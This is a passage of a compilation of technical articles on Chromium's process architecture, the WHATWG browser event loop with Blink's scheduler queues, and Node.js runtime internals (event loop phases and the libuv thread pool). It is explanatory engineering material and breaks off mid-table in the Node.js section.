The architecture trades memory for security and responsiveness. A Chrome instance with many tabs consumes gigabytes of memory—but each tab's crash is isolated, each site's JavaScript is contained, and each scroll remains smooth even under load.

## Appendix

### Prerequisites

- Basic understanding of process and thread concepts
- Familiarity with HTTP caching headers (Cache-Control, ETag)
- Understanding of JavaScript execution model (event loop, async)

### Terminology

- **OOPIF (Out-of-Process Iframe)**: A cross-site iframe that runs in a separate renderer process from its parent frame
- **Site**: Scheme plus eTLD+1 (e.g., `https://example.com`). Used for Site Isolation process boundaries
- **Origin**: Scheme plus host plus port (e.g., `https://sub.example.com:443`). The security boundary for same-origin policy
- **eTLD+1**: Effective top-level domain plus one label (e.g., `example.com`, `example.co.uk`)
- **Mojo**: Chromium's IPC framework using strongly-typed interfaces defined in `.mojom` files
- **Isolated World**: A separate JavaScript execution context that shares DOM access but not global variables with other contexts
- **Content Script**: Extension code injected into web pages, running in an isolated world
- **Preload Scanner**: A secondary HTML parser that discovers resources while the main parser is blocked
- **Site Isolation**: The security feature ensuring different sites run in different processes
- **Service Worker**: A programmable network proxy running in a worker thread, enabling offline functionality
- **Renderer Process**: A sandboxed process executing web content (Blink, V8, compositor)

### Summary

- Chromium uses a multi-process model: browser (privileged), renderers (sandboxed, site-locked), GPU, network service, and utilities
- Site Isolation runs cross-site content in separate processes, defending against compromised renderers and Spectre attacks
- Renderers have three key threads: main (JavaScript/DOM), compositor (scrolling/animations), and raster workers (painting)
- DNS caching uses per-context caches with TTL-based expiration; request merging prevents duplicate resolution
- HTTP disk cache uses memory-mapped index, block files for small entries, and LRU eviction with reuse tracking
- The preload scanner discovers resources while the main parser is blocked, but cannot find JavaScript-injected resources
- Prerendering (Speculation Rules API) renders pages in hidden tabs for instant navigation
- Service Workers run in renderer processes on dedicated threads, restarting on-demand for events
- Extension content scripts inject at `document_start`, `document_end`, or `document_idle`, each running in an isolated world

### References

#### Specifications and Standards

- [HTML Living Standard - Workers](https://html.spec.whatwg.org/multipage/workers.html) - Web Worker specification
- [Service Workers W3C Spec](https://w3c.github.io/ServiceWorker/) - Service Worker lifecycle and API
- [Speculation Rules](https://wicg.github.io/nav-speculation/speculation-rules.html) - Prerendering and prefetch specification

#### Chromium Design Documents

- [Multi-process Architecture](https://www.chromium.org/developers/design-documents/multi-process-architecture/) - Process model overview
- [Site Isolation](https://www.chromium.org/Home/chromium-security/site-isolation/) - Security isolation design
- [Inter-process Communication](https://www.chromium.org/developers/design-documents/inter-process-communication/) - Mojo IPC framework
- [HTTP Cache](https://www.chromium.org/developers/design-documents/network-stack/http-cache/) - Cache architecture
- [Disk Cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/) - Disk cache backend design
- [Process Model and Site Isolation](https://chromium.googlesource.com/chromium/src/+/main/docs/process_model_and_site_isolation.md) - Detailed process allocation
- [Service Worker README](https://chromium.googlesource.com/chromium/src/+/master/content/browser/service_worker/README.md) - Service worker implementation
- [DNS README](https://chromium.googlesource.com/chromium/src/+/main/net/dns/README.md) - DNS resolution architecture

#### Chrome Developer Documentation

- [RenderingNG Architecture](https://developer.chrome.com/docs/chromium/renderingng-architecture) - Thread and process model
- [BlinkNG Deep-Dive](https://developer.chrome.com/docs/chromium/blinkng) - Rendering engine architecture
- [Content Scripts](https://developer.chrome.com/docs/extensions/develop/concepts/content-scripts) - Extension injection and isolation
- [Extension Service Workers](https://developer.chrome.com/docs/extensions/develop/concepts/service-workers) - Manifest V3 background scripts
- [Prerender Pages](https://developer.chrome.com/docs/web-platform/prerender-pages) - Speculation Rules API

#### Web Performance Resources

- [Don't Fight the Preload Scanner](https://web.dev/articles/preload-scanner) - Preload scanner mechanics and optimization
- [HTTP Cache](https://web.dev/articles/http-cache) - HTTP caching strategies
- [Resource Hints](https://web.dev/articles/preconnect-and-dns-prefetch) - dns-prefetch and preconnect usage

#### MDN Web Docs

- [Web Workers API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API) - Worker types and usage
- [Service Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) - Service worker lifecycle
- [Speculative Loading](https://developer.mozilla.org/en-US/docs/Web/Performance/Guides/Speculative_loading) - Prefetch and prerender overview

---

## Browser Event Loop: Tasks, Microtasks, Rendering, and Idle Time

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/browser-event-loop
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** Spec-accurate map of the WHATWG HTML Living Standard event loop in window and worker contexts, centered on task selection, microtask checkpoints, rendering opportunities, and idle scheduling. Focus is on latency and frame-budget trade-offs rather than beginner JavaScript async basics.

# Browser Event Loop: Tasks, Microtasks, Rendering, and Idle Time

Spec-accurate map of the WHATWG HTML Living Standard event loop in window and worker contexts, centered on task selection, microtask checkpoints, rendering opportunities, and idle scheduling. Focus is on latency and frame-budget trade-offs rather than beginner JavaScript async basics.

<figure>

![Event loop iteration: one task → drain microtasks → optional rendering → idle callbacks → repeat.](./event-loop-iteration-one-task-drain-microtasks-optional-rendering-idle-callbacks.svg)

<figcaption>Event loop iteration: one task → drain microtasks → optional rendering → idle callbacks → repeat.</figcaption>
</figure>

## Abstract

The browser event loop is a **policy-driven, single-threaded scheduler** with three execution tiers:

1. **Tasks** — One task executes per iteration, selected from task queues using UA-defined priority. Task queues are ordered sets (per the Infra Standard); selection across queues is flexible, but order within a task source is preserved.

2. **Microtasks** — Drained completely after each task, before rendering. The microtask queue is separate from task queues. Microtasks spawning microtasks extend the checkpoint, blocking all other work.

3. **Rendering** — Since the December 2023 spec refactor, "update the rendering" is a formal task on the rendering task source, not a post-task operation. rAF callbacks run inside this task, before style/layout. Rendering opportunities are UA-defined, typically aligned to 60Hz (~16.7ms budget).

**Operational invariants:**

- A task is runnable only if its document is fully active (or null for non-window loops)
- Long tasks or microtask loops delay rendering and input
- requestIdleCallback (rIC) runs during idle periods (no runnable tasks), capped at 50ms; callbacks posted during an idle period wait for the next one
- Worker event loops can terminate once closing and idle—schedule cleanup before calling `close()`

## Processing model at a glance

<figure>

![Event loop iteration with a parallel rendering-opportunity watcher that queues rendering tasks.](./event-loop-iteration-with-a-parallel-rendering-opportunity-watcher-that-queues-r.svg)

<figcaption>Event loop iteration with a parallel rendering-opportunity watcher that queues rendering tasks.</figcaption>
</figure>

The processing model selects a task queue with a runnable task, executes that task to completion, and then performs a microtask checkpoint. Rendering opportunities are detected in parallel and enqueue update-rendering tasks that later compete with other tasks for selection.

> "Set oldestTask to the first runnable task in taskQueue, and remove it from taskQueue."

That single-task removal is the macro-task boundary: one task per iteration, then the microtask checkpoint.

> "A task is runnable if its document is either null or fully active."

> **Spec evolution (December 2023):** Prior to PR #10007, the spec modeled "update the rendering" as a post-task operation rather than a formal task. This created edge cases where microtasks could execute without a current task. The refactor aligned the spec with Chromium and Gecko implementations, which already treated rendering as a special task with its own task source.

**Example:** During a scroll, user-interaction tasks can be selected repeatedly while timer callbacks wait, keeping the UI responsive but delaying timers.

**Trade-offs:** Implementation-defined selection gives the UA room to prioritize input and responsiveness, but it reduces cross-queue fairness and predictability.

**Edge cases:** Tasks tied to non-fully-active documents remain non-runnable and can sit in queues until the document becomes fully active again.

## Task queues and task sources: ordering and prioritization

Task queues are attached to an event loop; task sources map related work (input, timers, networking) onto those queues. Ordering is preserved within each task source, but selection across queues is intentionally flexible.

> "A task queue is a set of tasks."

The term "set" here refers to the Infra Standard definition—an ordered collection that maintains insertion order and rejects duplicates. Despite the name, task queues preserve FIFO (First-In-First-Out) ordering: the spec requires selecting the "oldest" task. The "set" terminology allows UAs to skip non-runnable tasks without violating queue semantics.

> "Task queues are used to coalesce task sources."

Each task source (DOM manipulation, user interaction, networking, timers, etc.) must be associated with a specific task queue. Multiple task sources can share a queue, but each source's tasks stay ordered relative to each other.

> "the processing model still enforces that the user agent would never process events from any one task source out of order."

**Design rationale:** This architecture gives UAs flexibility to prioritize latency-critical sources (like user input) without breaking causal ordering within each source. A UA can maintain separate queues for input, network, and timers, then always select from the input queue first when tasks are pending.

**Example:** Pointer and keyboard events keep their relative order, but a network response task can be interleaved between them if the UA selects the networking queue.

**Trade-offs:** Preserving order within a source maintains causal consistency, while flexible cross-queue selection lets the UA favor latency-critical sources. The cost is that low-priority sources can starve.

**Edge cases:** Do not assume timers fire at their nominal deadlines; a busy interaction source can push them back significantly. The 4ms minimum delay for nested `setTimeout` (per the spec) compounds this—a timer-heavy app can accumulate significant drift.

## Chromium (Blink) main-thread queues and priorities

> **Implementation note:** This section describes Chromium's Blink scheduler as of early 2025. Queue types, priorities, and throttling policies change frequently. Treat this as a conceptual map, not an authoritative reference—consult the source code for current behavior.

Blink's main-thread scheduler defines a fixed set of queue types (`MainThreadTaskQueue::QueueType`) grouped into queue classes (loading, timer, compositor, none). Frame-associated work is posted using a `TaskType`, and `FrameScheduler::GetTaskRunner()` selects a task runner based on that type.

**Design rationale:** Most Blink work is single-threaded (JavaScript, DOM, CSS, layout). The scheduler must prioritize user input over background work to maintain 60fps. Rather than a static priority order, priorities are computed dynamically based on page state, visibility, and user interaction.

**Key priority rules:**

- Input queue has highest priority
- Compositor queue is boosted during user gestures (scrolling, dragging)
- Tasks at the same priority execute in FIFO order
- Background/hidden pages have reduced priority and may be throttled

### Queue inventory (MainThreadTaskQueue::QueueType)

Mapping below is derived from the TaskTypes.md trait matrix and queue-class names; treat it as a policy-level view rather than a strict guarantee for all Chromium branches.
Serial numbers follow the enum order, not a fixed priority ranking.

| # / Queue type          | TaskType groupings (derived)                                                                                                                                                                                                                                                                                                                                                                                                                                             |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| 1. kControl             | Thread-global control queue (internal; TaskTypes.md does not enumerate)                                                                                                                                                                                                                                                                                                                                                                                                  |
| 2. kDefault             | Thread-global default queue (internal; TaskTypes.md does not enumerate)                                                                                                                                                                                                                                                                                                                                                                                                  |
| 3. kUnthrottled         | Timer-class queue for unthrottled work (policy-driven)                                                                                                                                                                                                                                                                                                                                                                                                                   |
| 4. kFrameLoading        | `kNetworking`, `kNetworkingWithURLLoaderAnnotation`, `kInternalLoading`, `kInternalContinueScriptLoading`                                                                                                                                                                                                                                                                                                                                                                |
| 5. kFrameLoadingControl | `kNetworkingControl`                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| 6. kFrameThrottleable   | `kJavascriptTimerDelayedLowNesting`, `kJavascriptTimerDelayedHighNesting`, `kWebSchedulingPostedTask` (delay > 0), `kInternalTranslation`, `kInternalContentCapture`                                                                                                                                                                                                                                                                                                     |
| 7. kFrameDeferrable     | `kDOMManipulation`, `kLowPriorityScriptExecution`, `kHistoryTraversal`, `kEmbed`, `kCanvasBlobSerialization`, `kMicrotask`, `kJavascriptTimerImmediate`, `kRemoteEvent`, `kWebSocket`, `kUnshippedPortMessage`, `kFileReading`, `kPresentation`, `kSensor`, `kPerformanceTimeline`, `kWebGL`, `kWebGPU`, `kMiscPlatformAPI`, `kFontLoading`, `kApplicationLifeCycle`, `kBackgroundFetch`, `kPermission`, `kWakeLock`, `kStorage`, `kMachineLearning`, `kInternalDefault` |
| 8. kFramePausable       | `kMediaElementEvent`, `kPostedMessage`, `kBackForwardCachePostedMessage`, `kDatabaseAccess`, `kWorkerAnimation`, `kServiceWorkerClientMessage`, `kInternalWebCrypto`, `kInternalMedia`, `kInternalMediaRealTime`, `kInternalIntersectionObserver`, `kInternalPostMessageForwarding`                                                                                                                                                                                      |
| 9. kFrameUnpausable     | `kWebLocks`, `kInternalIPC`, `kInternalInspector`, `kInternalNavigationAssociated`, `kInternalFreezableIPC`                                                                                                                                                                                                                                                                                                                                                              |
| 10. kCompositor         | Thread-global compositor queue (internal; TaskTypes.md does not enumerate)                                                                                                                                                                                                                                                                                                                                                                                               |
| 11. kIdle               | `kIdleTask`                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 12. kTest               | `kInternalTest`                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
| 13. kV8                 | Main-thread V8 queue (internal; TaskTypes.md does not enumerate)                                                                                                                                                                                                                                                                                                                                                                                                         |
| 14. kIPC                | Main-thread IPC queue (internal; TaskTypes.md does not enumerate)                                                                                                                                                                                                                                                                                                                                                                                                        |
| 15. kInput              | `kUserInteraction`, `kInternalUserInteraction`                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 16. kDetached           | Detached-frame queues (internal)                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| 17. kOther              | Metrics grouping (internal)                                                                                                                                                                                                                                                                                                                                                                                                                                              |

### Common event map (practical view)

| Common event                      | TaskType(s) and queue class                                                                                                        |
| --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| XHR/fetch responses               | `kNetworking`, `kNetworkingWithURLLoaderAnnotation` → loading class (kFrameLoading)                                                |
| Timers (setTimeout/setInterval)   | `kJavascriptTimerImmediate` and delayed timers (`kJavascriptTimerDelayed*`) → timer class; delayed timers are throttleable         |
| Input (keyboard, pointer, scroll) | `kUserInteraction`, `kInternalUserInteraction` → input priority (kInput)                                                           |
| DOM/observer callbacks            | MutationObserver → microtask checkpoint (not a `TaskType`); `kInternalIntersectionObserver`; DOM task sources → `kDOMManipulation` |
| requestIdleCallback               | `kIdleTask` → idle queue class                                                                                                     |

**Example:** During a scroll plus a burst of timers, input tasks run first, compositor work is boosted, and timer callbacks slip, trading timer accuracy for responsiveness.

**Trade-offs:** Policy-driven routing and dynamic priorities improve interactivity, but reduce cross-queue predictability.

**Edge cases:** Throttlable timers can be delayed when pages are not visible; task types marked deferrable/pausable/freezable can be delayed or paused when lifecycle policy applies.

## Microtasks and microtask checkpoints

Microtasks are drained at each microtask checkpoint after a task completes. Any microtasks enqueued during the checkpoint are also processed before the event loop returns to task selection.

> "The microtask queue is not a task queue."

The microtask queue is a separate data structure from task queues—it has exactly one instance per event loop, not per task source. This distinction matters because microtasks do not compete for selection; they all drain before any new task runs.

> "While the event loop's microtask queue is not empty:"

This is the drain semantics: the checkpoint keeps running until the queue is empty, so microtasks queued by a microtask are executed in the same checkpoint.

**When checkpoints occur:**

- After each task completes (when the JS execution context stack is empty)
- During HTML parsing, after script element execution
- As part of the "clean up after running script" algorithm
- When the execution context stack empties during callback invocation

The checkpoint algorithm sets a `performingMicrotaskCheckpoint` flag to prevent re-entrancy—calling a function that would trigger another checkpoint during a checkpoint is a no-op.

**Example:** A click handler that chains Promises can block rendering until the chain ends; each Promise enqueues more microtasks and the checkpoint drains them before any new task is selected. Insert a task boundary (`setTimeout`, `MessageChannel`, or `scheduler.postTask`) to yield.

**Trade-offs:** Microtasks provide deterministic ordering for promise reactions and DOM mutation delivery, but they can starve tasks and rendering if used as an unbounded loop.

**Edge cases:** Microtask checkpoints also handle rejected promise notifications, IndexedDB transaction cleanup, and `ClearKeptObjects()` (weak reference handling); long microtask runs delay these and any subsequent rendering.

## Rendering opportunities and update the rendering task

Rendering opportunities are UA-defined; when one occurs, the UA queues an update-rendering task on the rendering task source. That task runs rAF callbacks, style and layout, observer notifications, and painting work as part of a single rendering update.

> "queue a global task on the rendering task source to update the rendering"

> "Rendering opportunities occur at a maximum of every 60th of a second (about 16.7ms)."

**rAF timestamp source:** The timestamp passed to rAF callbacks varies by implementation. Chromium and Gecko derive it from vsync signals; WebKit uses the timestamp at the start of the "update the rendering" phase. This can cause observable timing differences in frame-pacing code.

> "Let callbackHandles be the result of getting the keys of callbacks."

**Inference:** Because the algorithm snapshots callback handles and removes each callback before invoking it, callbacks added during a rAF callback are deferred to the next rendering update.

**Example:** If a rAF callback calls `requestAnimationFrame()` again, the new callback runs on the next frame, not in the current batch; at 60Hz a 25ms task drops a frame and delays the next rAF run.

**Trade-offs:** Treating rendering as a task keeps the model uniform and allows input tasks to preempt rendering, but it also means rendering is not guaranteed every loop iteration.

**Browser inconsistencies:**

- **rAF timing:** Chrome and Firefox run rAF before the next render (spec-compliant). Safari historically ran rAF before the _following_ render, causing a one-frame delay. Per WHATWG GitHub issue #2569, developer expectations were split 60/40.
- **Iframe ordering:** The spec requires processing documents in a specific order (container/shadow-including tree rules), but implementations differ on whether iframes without rAF callbacks are skipped entirely.

**Edge cases:** For non-visible documents, the UA may reduce rendering opportunities dramatically (the spec notes as low as 4 per second), so rAF-driven work effectively pauses or throttles. Hidden tabs may receive zero rendering opportunities.

## Idle periods and requestIdleCallback

When a window event loop has no runnable tasks, the spec computes an idle deadline using three bounds: a 50ms cap from the last idle period start time, the nearest timer deadline, and (when renders are pending) the next render deadline.

**Design rationale:** The 50ms cap ensures the UA can respond to user input within 100ms (the threshold for perceived instantaneous response). Even if an idle callback starts just before user input, the worst-case response time is 50ms idle + time to process the input.

> "Let deadline be this event loop's last idle period start time plus 50."

> "If nextRenderDeadline is less than deadline, then return nextRenderDeadline."

requestIdleCallback (rIC) queues work onto the idle-task task source and runs idle callbacks in FIFO order until the idle period ends or the runnable list is empty. Only callbacks posted before the idle period begins are eligible; callbacks posted during a callback wait for the next idle period.

> "Only idle tasks which posted before the start of the current idle period are eligible"

This eligibility rule prevents a callback from monopolizing idle time by immediately re-posting itself—each re-post waits for the next idle period.

Idle periods are UA-defined and singular per window; the UA may end them early, and heavy load can mean no idle periods at all.

> "There can only be one idle period active at a given time"

> "there is no guarantee that a user agent will have any idle CPU time available"

**IdleDeadline interface:**

- `timeRemaining()` — Returns milliseconds until deadline, clamped to ≥0
- `didTimeout` — True when the callback runs via the timeout path rather than inside an idle period

> "if the specified timeout is reached before the callback is executed within an idle period, a task is queued to execute it."

Each `requestIdleCallback` schedules a single callback; to keep running work, re-post at the end of the callback.

**Example:** Break a 50ms analytics batch into 2–5ms chunks. If `timeRemaining()` drops below 2ms, reschedule with rIC; add a 2000ms timeout to guarantee completion even under continuous load.

**Trade-offs:** Idle scheduling maximizes responsiveness and power efficiency, but the deadline is a hint and can end early or never arrive under load.

**Edge cases:**

- Callbacks posted during an idle callback run in the next idle period, not the current one
- A timeout callback can fire outside idle time with `didTimeout=true` and `timeRemaining()=0`
- Safari does not support `requestIdleCallback`; use a polyfill based on `setTimeout` with frame-timing heuristics

**Browser support:** Chrome, Firefox, Edge. Not supported in Safari as of January 2025.

## Worker event loops and shutdown

Worker event loops follow the same task and microtask mechanics, but they can be destroyed when closing and idle. Dedicated workers may also run rendering updates when the UA supports it.

**Example:** A DedicatedWorker should post any final results before calling close(); once the closing flag is set and queues drain, the loop can terminate.

**Trade-offs:** Automatic teardown frees resources quickly, but it can surprise code that assumes the loop will stay alive until explicit termination is observed.

**Edge cases:** Tasks queued after close() or during shutdown may never run.

## Conclusion

The browser event loop is a policy-driven scheduler with three execution tiers: tasks (one per iteration, selected from ordered sets using UA-defined priority), microtasks (drained completely after each task), and rendering (a formal task since the December 2023 spec refactor). The practical outcomes are input-first scheduling, microtask starvation risks, and rendering timing that is intentionally UA-defined.

Key operational insights:

- **Yield to rendering** by inserting task boundaries (`setTimeout`, `MessageChannel`, `scheduler.postTask`) rather than chaining microtasks
- **Don't rely on timer accuracy**—busy interaction sources push timers back, and the 4ms nested timer clamp compounds drift
- **Use rIC timeouts for must-run work**—idle periods are not guaranteed under load
- **Account for browser differences**—rAF timing, rIC support, and task prioritization vary across engines

## Appendix

### Prerequisites

- JavaScript run-to-completion semantics and the call stack model.
- High-level understanding of the rendering pipeline (style, layout, paint).

### Terminology

- **Task**: A unit of work queued on a task queue for an event loop. Consists of steps, a source, a document, and a script evaluation environment settings object set.
- **Task queue**: An ordered set (per Infra Standard) of tasks associated with a specific event loop. Despite the name "set," FIFO ordering is preserved.
- **Task source**: A category of tasks with ordering guarantees. Each task source maps to a specific task queue; order within a source is preserved, but the UA chooses which queue to select from.
- **Runnable task**: A task whose associated document is fully active, or whose document is null (for non-window tasks).
- **Microtask**: High-priority work run during a microtask checkpoint. Not part of any task queue.
- **Microtask queue**: A separate queue (one per event loop) that holds microtasks. Drained completely at each checkpoint.
- **Microtask checkpoint**: The algorithm that drains the microtask queue. Occurs after tasks, during parsing, and during script cleanup. Uses a re-entrancy guard.
- **Idle period**: A UA-defined window (max 50ms) when no runnable tasks exist. Used for running idle callbacks.
- **Idle callback**: A `requestIdleCallback` handler invoked during an idle period or via timeout.
- **IdleDeadline**: Object passed to idle callbacks; exposes `timeRemaining()` (clamped to ≥0) and `didTimeout`.
- **Rendering opportunity**: A UA-defined point when rendering can be updated, typically aligned to 60Hz.
- **Update the rendering task**: A task on the rendering task source that runs rAF callbacks, style recalculation, layout, and paint-related work.
- **requestAnimationFrame (rAF)**: API to schedule a callback for the next rendering update. Callbacks are snapshotted; new callbacks added during execution run in the next frame.
- **requestIdleCallback (rIC)**: API to schedule best-effort work during idle periods. Not supported in Safari.
- **User Agent (UA)**: The browser engine implementing the event loop (e.g., Blink, Gecko, WebKit).

### Summary

- Task queues are ordered sets (per Infra Standard); task selection across queues is UA-defined, but ordering within each task source is preserved.
- Each task runs to completion and is followed by a microtask checkpoint that drains the microtask queue completely—including microtasks spawned during the checkpoint.
- The microtask queue is separate from task queues; microtask checkpoints also occur during parsing and script cleanup, not just after tasks.
- Since December 2023, "update the rendering" is a formal task on the rendering task source (previously a post-task operation).
- Idle callbacks run FIFO during UA-defined idle periods capped at 50ms; callbacks posted during a period wait for the next one. Safari does not support `requestIdleCallback`.
- Worker event loops can terminate automatically when closing and idle; schedule cleanup before calling `close()`.

### References

**Specifications**

- [WHATWG HTML Living Standard - Event loop processing model](https://html.spec.whatwg.org/multipage/webappapis.html#event-loop-processing-model)
- [WHATWG HTML Living Standard - Task queues](https://html.spec.whatwg.org/multipage/webappapis.html#task-queues)
- [WHATWG HTML Living Standard - Task sources](https://html.spec.whatwg.org/multipage/webappapis.html#task-sources)
- [WHATWG HTML Living Standard - Microtask queue](https://html.spec.whatwg.org/multipage/webappapis.html#microtask-queue)
- [WHATWG HTML Living Standard - Perform a microtask checkpoint](https://html.spec.whatwg.org/multipage/webappapis.html#perform-a-microtask-checkpoint)
- [WHATWG HTML Living Standard - Rendering opportunities](https://html.spec.whatwg.org/multipage/webappapis.html#rendering-opportunities)
- [WHATWG HTML Living Standard - Update the rendering](https://html.spec.whatwg.org/multipage/webappapis.html#update-the-rendering)
- [WHATWG HTML Living Standard - Animation frames](https://html.spec.whatwg.org/multipage/imagebitmap-and-animations.html#animation-frames)
- [WHATWG Infra Standard - Sets](https://infra.spec.whatwg.org/#sets) - Definition of "set" used by task queues
- [DOM Standard - MutationObserver](https://dom.spec.whatwg.org/#mutationobserver)
- [W3C requestIdleCallback](https://www.w3.org/TR/requestidlecallback/)

**Spec Issues and PRs**

- [WHATWG HTML Issue #9824 - Event loop: update the rendering step mismatches implementations](https://github.com/whatwg/html/issues/9824) - Discussion of spec vs implementation discrepancies
- [WHATWG HTML Issue #2569 - rAF timing differences](https://github.com/whatwg/html/issues/2569) - Chrome/Firefox vs Safari rAF behavior
- [WHATWG HTML PR #10007](https://github.com/whatwg/html/pull/10007) - December 2023 refactor making rendering a formal task

**Official Documentation**

- [MDN - Using microtasks in JavaScript](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide)
- [MDN - In depth: Microtasks and the JavaScript runtime](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide/In_depth)

**Core Maintainer Content**

- [Tasks, Microtasks, Queues and Schedules - Jake Archibald](https://jakearchibald.com/2015/tasks-microtasks-queues-and-schedules/) - Interactive visualization of event loop execution

**Implementation References (Chromium)**

- [Chromium Docs - Task Scheduling in Blink](https://chromium.googlesource.com/chromium/src/+/HEAD/third_party/blink/renderer/platform/scheduler/TaskSchedulingInBlink.md)
- [Chromium Docs - Threading and Tasks in Chrome](https://chromium.googlesource.com/chromium/src/+/main/docs/threading_and_tasks.md)
- [Chromium Docs - Threading and Tasks FAQ](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/threading_and_tasks_faq.md)

---

## Node.js Runtime Architecture: Event Loop, Streams, and APIs

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/nodejs-runtime-architecture
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** Node.js is a host environment that pairs V8 with libuv, a C++ bindings layer, and a large set of JavaScript core modules and Application Programming Interfaces (APIs). This article focuses on the runtime boundaries that matter at scale: event loop ordering, microtasks, thread pool backpressure, buffer and stream memory, and Application Binary Interface (ABI) stable extension points. Coverage is current as of Node.js 22 LTS (libuv 1.49+, V8 12.4+).

# Node.js Runtime Architecture: Event Loop, Streams, and APIs

Node.js is a host environment that pairs V8 with libuv, a C++ bindings layer, and a large set of JavaScript core modules and Application Programming Interfaces (APIs). This article focuses on the runtime boundaries that matter at scale: event loop ordering, microtasks, thread pool backpressure, buffer and stream memory, and Application Binary Interface (ABI) stable extension points. Coverage is current as of Node.js 22 LTS (libuv 1.49+, V8 12.4+).

<figure>

![Runtime layering from JavaScript to native engines, dependencies, and the OS.](./runtime-layering-from-javascript-to-native-engines-dependencies-and-the-os.svg)

<figcaption>Runtime layering from JavaScript to native engines, dependencies, and the OS.</figcaption>
</figure>

## Abstract

Node.js runtime behavior is defined by three boundaries: the V8 JavaScript-to-native edge (where JIT tiers and GC pauses originate), the libuv event loop (where phase ordering and microtask interleaving determine callback timing), and the thread pool (where nominally "async" file I/O becomes a blocking queue). Mastering the runtime means understanding what crosses each boundary and when.

<figure>

![Mental model: JavaScript triggers microtasks, which drain before the loop advances. The poll phase dispatches to either the thread pool (blocking) or OS async I/O (non-blocking).](./mental-model-javascript-triggers-microtasks-which-drain-before-the-loop-advances.svg)

<figcaption>Mental model: JavaScript triggers microtasks, which drain before the loop advances. The poll phase dispatches to either the thread pool (blocking) or OS async I/O (non-blocking).</figcaption>
</figure>

**Key mental models:**

- **Scheduling**: `process.nextTick` drains before Promise microtasks, which drain before any event loop phase advances. Unbounded recursion in either queue starves I/O.
- **Thread pool bottleneck**: File system ops, `dns.lookup`, and CPU-bound crypto share a default 4-thread pool. Network I/O and `dns.resolve*` bypass it entirely.
- **Backpressure contract**: `Writable.write()` returning `false` is a hard stop signal; ignoring it causes unbounded memory growth until OOM or abort.
- **ABI stability**: Node-API is the only stable native addon interface across majors. Direct V8/libuv header use requires rebuild per major.

## Runtime Layers and Call Path

Node.js is a host for ECMAScript. V8 executes JavaScript, libuv implements the event loop and I/O multiplexing, and a C++ bindings layer translates JavaScript calls into libuv and native library calls. libuv runs a single threaded event loop and polls non-blocking sockets using the best platform backend (epoll, kqueue, I/O Completion Ports (IOCP)). The loop itself is not thread-safe, so cross-thread work must hop via libuv's queues.

The design trade-off is intentional: a single event loop keeps scheduling deterministic and lightweight, but any synchronous Central Processing Unit (CPU) bound work on the main thread blocks every connection.

Example: A gateway handling 30k idle keep-alive sockets is fine as long as request handlers avoid synchronous JSON parsing. A single 20 ms CPU spike blocks all 30k sockets.

## Event Loop, Microtasks, and Ordering

The Node.js event loop executes callbacks in six phases:

1. **timers** - `setTimeout()` and `setInterval()` callbacks
2. **pending callbacks** - I/O callbacks deferred from the previous iteration
3. **idle, prepare** - internal libuv use
4. **poll** - retrieve new I/O events, execute I/O callbacks
5. **check** - `setImmediate()` callbacks
6. **close callbacks** - close event handlers (`socket.on('close')`)

As of libuv 1.45 (Node.js 20+), timers run only after the poll phase, changing the timing of `setTimeout()` relative to `setImmediate()`. Prior to libuv 1.45, timers could fire both before and after poll, making the `setTimeout(0)` vs `setImmediate()` race nondeterministic even inside I/O callbacks.

`process.nextTick()` is not part of the event loop phases. Its queue drains after the current JavaScript stack completes and before the loop advances to the next phase. The draining order is:

1. All `process.nextTick()` callbacks (recursively, until empty)
2. All Promise microtask callbacks (recursively, until empty)
3. Next event loop phase

ECMAScript defines job queues for Promise reactions but leaves inter-queue ordering to the host:

> "This specification does not define the order in which multiple Job Queues are serviced." (ECMA-262)

Node's implementation choice to drain `nextTick` before Promises is a deliberate departure from browser behavior, where only the microtask queue exists. This creates a subtle portability trap: code relying on `nextTick` priority behaves differently in browsers using `queueMicrotask()`.

```js title="timeout-vs-immediate.js" collapse={1-3,6-7}
import { readFile } from "node:fs"

readFile(__filename, () => {
  setTimeout(() => console.log("timeout"), 0)
  setImmediate(() => console.log("immediate"))
})
```

Example: Inside an I/O callback on libuv 1.45+, `setImmediate` always fires before `setTimeout(0)` because check phase precedes the next timer phase. Outside an I/O callback, the order depends on process timing and remains nondeterministic.

**Edge case**: Recursive `nextTick` chains starve I/O indefinitely. A `while (true) process.nextTick(fn)` pattern blocks the event loop forever because the loop cannot advance until the `nextTick` queue empties.

## libuv Thread Pool: When Async I/O Is Not Truly Non-Blocking

libuv uses a shared thread pool to offload operations that lack non-blocking OS primitives. The pool is global, shared across all event loops, and preallocated at startup.

**Pool configuration:**

- Default size: 4 threads
- Maximum: 1024 (increased from 128 in libuv 1.30.0)
- Set via `UV_THREADPOOL_SIZE` environment variable at process startup
- Cannot be resized after the first I/O operation triggers pool initialization

**Operations using the thread pool:**

| Category    | Operations                                                                                                      |
| ----------- | --------------------------------------------------------------------------------------------------------------- |
| File system | All `fs` APIs except `fs.FSWatcher()` and explicitly synchronous methods                                        |
| DNS         | `dns.lookup()`, `dns.lookupService()`                                                                           |
| Crypto      | `crypto.pbkdf2()`, `crypto.scrypt()`, `crypto.randomBytes()`, `crypto.randomFill()`, `crypto.generateKeyPair()` |
| Compression | All `zlib` APIs except explicitly synchronous methods                                                           |

**Operations bypassing the thread pool:**

| Category       | Operations               | Mechanism                                   |
| -------------- | ------------------------ | ------------------------------------------- |
| Network I/O    | TCP, UDP, HTTP sockets   | OS non-blocking sockets (epoll/kqueue/IOCP) |
